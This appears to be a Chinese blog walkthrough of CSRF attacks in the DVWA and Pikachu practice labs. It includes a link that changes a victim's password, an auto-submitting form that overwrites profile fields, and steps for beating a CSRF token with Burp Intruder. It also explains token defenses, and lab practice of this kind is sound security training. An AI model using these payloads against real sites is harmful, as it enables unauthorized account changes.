当前位置: 首页 > news >正文

CSRF靶场实战

DVWA靶场链接:https://pan.baidu.com/s/1eUlPyB-gjiZwI0wsNW_Vkw?pwd=0b52 
提取码:0b52

DVWA Low 级别打开靶场,修改密码

复制上面的 url,写个简单的 html 文件

<html

<body> <a href=http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Ch ange=Change#>csrf</a>

</body>

</html>

点击链接后,在dvwa未login out的情况下,直接修改了密码

Pikachu 靶场:链接:https://pan.baidu.com/s/12L5WZKrlI_RlYPmo1AjQRg?pwd=ndwj 
提取码:ndwj

Get 型

根据提示,我们随机选择账号进行登录。在这里,以lili账号为例,进行登录。

登录之后,可以看到lili的个人信息

点击修改 lili 的信息并进行抓包

后台没做 CSRF token,同时也是通过 GET 请求来提交修改信息,我们拿到这个,修改一下,然后让 allen 点击就好,我们构造的 URL 中把地址 add 改为 hacker。allen 一点击就修改了地址。CSRF 的主要问题是敏感操作容易被伪造,我们可以加入 Token 让请求不容易被伪造

 Go 一下之后去访问上面的链接,就发现上面的信息被更改了

Post 型

尝试构造form表单CSRF_post.html,点击链接恶意修改个人信息

<html><head><script> window.onload = function() {

document.getElementById("postsubmit").click();

}</script></head><body>

<form method="post" action="http://[站点IP/域名]/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"> <input id="sex" type="text" name="sex" value="hacker" />

<input id="phonenum" type="text" name="phonenum" value="11111111111" />

<input id="add" type="text" name="add" value="hacker" />

<input id="email" type="text" name="email" value="hacker@pikachu.com" />

<input id="postsubmit" type="submit" name="submit" value="submit"/></form></body></html>

访问该表单后,个人信息就发生了变化

CSRF Token login

token 是如何防止 CSRF 的:CSRF 的主要问题是敏感操作的链接容易被伪造。

解决容易被伪造的方法:每次请求,都增加一个随机码(需要够随机,不容易伪造),后台每次对这个随机码进行验证

1. 在 pikachu 的 CSRF Token 页面以 lucy 的账号进行登录,然后修改信息,并进行抓包,这里我们可以看到有 token 值

 Token 值,防 CSRF

2.每次刷新页面,token值都会发生变化。这样就防止了CSRF 这里的确是没法伪造的试试绕过token,将请求包发送到Intruder模块,设置positions,攻击模式设置为Pitchfork,这里只把电话号码和token设置为了变量

设置payload,这里就不使用字典了,直接随便指定几个号码,主要看一下token 怎么设置poaylod

主要为了获取“上一次响应数据包”中的token值,在响应包中找到token值,规则添加成功

 因为需要提交token,所以不能使用多线程,需要把线程数改为1

重定向响应,这里设置为总是跟随重定向 

 

设置递归 

 攻击成功

http://www.lryc.cn/news/307756.html

相关文章:

  • 小程序性能优化
  • C++拿几道题练练手吧
  • 【国产MCU】-CH32V307-I2C控制器
  • k8s pod理论
  • 智慧应急:构建全方位、立体化的安全保障网络
  • 国际黄金价格是什么?和黄金价格有何区别?
  • React入门简介
  • 强化学习_06_pytorch-PPO实践(Hopper-v4)
  • Scala Intellij编译错误:idea报错xxxx“is already defined as”
  • 面试笔记系列五之MySql+Mybaits基础知识点整理及常见面试题
  • 掌握Pillow:Python图像处理的艺术
  • React最常用的几个hook
  • 自然语言处理Gensim入门:建模与模型保存
  • Windows 10中Visual Studio Code(VSCode)无法自动打开终端的解决办法
  • python dictionary 字典中的内置函数介绍及其示例
  • pdf转word文档怎么转?分享4种转换方法
  • 深度测试:指定DoC ID对ES写入性能的影响
  • 【JGit】 AddCommand 新增的文件不能添加到暂存区
  • golang学习6,glang的web的restful接口传参
  • Carla自动驾驶仿真八:两种查找CARLA地图坐标点的方法
  • HarmonyOS | 状态管理(八) | PersistentStorage(持久化存储UI状态)
  • Git 突破 文件尺寸限制
  • HarmonyOS开发云工程与开发云函数
  • SpringMVC了解
  • day44((VueJS)路由的懒加载使用 路由的元信息(meta) 路由守卫函数 vant组件库的应用)
  • 非线性优化资料整理
  • 踩坑wow.js 和animate.css一起使用没有效果
  • Laravel - API 项目适用的图片验证码
  • iMazing3安全吗?好不好用?值不值得下载
  • 韩国突发:将批准比特币ETF